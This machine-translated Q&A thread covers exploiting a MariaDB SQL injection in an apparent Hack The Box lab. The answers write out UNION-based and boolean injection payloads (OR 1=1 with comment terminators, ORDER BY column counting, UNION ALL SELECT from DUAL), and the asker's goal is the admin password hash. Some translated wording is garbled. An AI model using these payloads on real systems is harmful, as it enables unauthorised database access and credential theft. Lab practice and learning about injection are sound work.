MariaDb SQL注入

时间:2019-02-21 14:54:47

标签: mysql mariadb sql-injection

我正在尝试(合法地)利用具有SQLi漏洞的MariaDb数据库。

我已经在这里找到了漏洞...

/?o=1&page=app

o=*容易受到攻击,并产生以下错误...

DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '5' or dest like '1'') LIMIT 10' at line 1

我正在使用Burp Suite,并采用了以下语法,该语法似乎更接近商标,但仍会产生语法错误。

我认为它离商标很近,因为该错误只会吐出我所介绍的查询,而不是“额外”字段:'5' or dest like '1'') LIMIT 10'

我假设这是原始查询的一部分,因为其中包含了1,并且当我使用其他随机字符串进行测试时,结果仍然为真。

我在页面提示中知道的管理员密码哈希是uid 1

此查询我缺少什么?

SELECT Password FROM mysql.user WHERE (uid = '1' or dest like '%')-- ') LIMIT 10

编辑:这是在Hack The Box上完成的,所以没有讨厌的非法事情发生。

2 个答案:

答案 0 :(得分:3)

  

编辑:这是在Hack The Box上完成的,因此没有讨厌的非法内容   继续。

好吧,那就找点乐子吧。

当我查看错误消息时

  

调试信息:您的SQL语法有错误;查看手册   对应于您的MariaDB服务器版本的正确语法   在第1行使用接近'5'或'1'') LIMIT 10'之类的目标

我假设应用程序中的查询和代码或多或少都像这种伪明智的做法,因为@o实际上是MySQL用户变量。

SELECT
 *
FROM
 DUMMY_TABLE
WHERE
 DUMMY_TABLE.o = '",@o,"'
LIMIT 10 

我将使用SQL提琴space来模拟SQL注入测试,并更多地访问其他表。

您可以使用1' OR 1 = 1#1' OR 1 = 1--来测试注射,当您将1用作输入时,这两种方法都应该起作用,并且应该给您相同的结果。 这是因为MariaDB自动将其他数据库的类型转换为您可能需要使用更严格的版本1' OR '1' = '1#

应该生成

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10 

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10 

然后,因为您在应用程序中看到错误,所以可以使用ORDER BY 1来检查选择了多少列,并递增数字直到出现错误。

错误:ER_BAD_FIELD_ERROR:“订单子句”中的未知列“ 2”

注入

1' ORDER BY 1#1' ORDER BY 1--

这意味着对结果集中的第一列进行排序1文字进行排序。

生成

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10 

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10 

当您知道这些列时,可以使用UNION进入其他表。如果不需要所有列,请使用NULL

注射

1' UNION ALL SELECT NULL FROM DUAL#

请注意,DUAL是MariaDB,MySQL和Oracle中的“虚拟”不存在表,如果您可以查询该“表”,则意味着从技术上讲,您也可以进入其他表。

生成的SQL

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10 

并且如果该网页被设计为“详细”页面,在该页面上总是可以看到一条记录,则需要在注入中添加LIMIT 1, 1

如果在Web应用程序中没有可见的错误该怎么办,您应该只能够通过盲目的SQL注入盲目强行攻击格斯,并查看应用程序的工作方式。
在尝试强行使用所使用的列号之前,还请尝试使用?o=0?o=NULL之类的东西或诸如INT最大值(有符号)?o=2147483647或(无符号)?o=4294967295之类的很高数值这样您就知道应用程序如何处理找不到的记录。 因为在0数据类型上很少有ID INT或高数字,因为如果给出了最后一个数字,应用程序将停止工作。 如果您仍然获得具有高数字的记录,请改用BIGINT数据类型的最大值。

对于第1列,相同的结果ID o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

对于第2列,该列将发生错误,但很可能您会看到错误页面或未找到记录的消息。
或甜美的HTTP 404(未找到)错误状态。
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

使用LIMIT而不使用ORDER BY时可能会遇到的一个问题可能是获得相同记录的机会,因为SQL标准已定义SQL表/结果集为无序不使用ORDER BY

因此,理想情况下,您需要在暴力破解中继续使用ORDER BY 1

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#

ORDER BY 1的数据库支持要好于我最初想到的,因为它首先在MySQL,MariaDB,SQL Server(MSSQL)和PostgreSQL中工作。

ORDER BY 1也是SQL 92的一项功能,已在SQL 99中删除。
因此,实际上,如果SQL数据库遵循SQL标准,则不应执行ORDER BY 1 annymore。

SQL 92 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
      | <unsigned integer> # <- here it is 

 <ordering specification> ::= ASC | DESC

与SQL 1999 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
                        # <- missing

 <ordering specification> ::= ASC | DESC

答案 1 :(得分:0)

一些观察:

mysql.user表不包含列uiddest

要利用SQL注入漏洞,我们必须在正在动态构建的SQL语句的上下文中进行工作。

如果应用程序SQL语句的格式为:

 SELECT somecol FROM sometable WHERE keycol = 'x' ORDER BY foo LIMIT 1

这是x的值被合并到SQL文本中;我们可以尝试提供将形成有效SQL语句的值“ x”。但是我们不会“打破”前面的声明。

如果我们试图包含另一个FROM子句,以从另一个表中提取数据,那么我们可能会考虑编写这样的语句:

 SELECT somecol FROM sometable WHERE keycol = 'foo' AND 1=0 
 UNION ALL 
 SELECT expr FROM anothertable ORDER BY expr LIMIT 1 -- '

可能存在多语句漏洞,我们可以在其中执行多个语句。

但是我们不需要花费很多时间来弄清楚如何利用它;时间和精力最好花在修复应用程序上,以关闭漏洞。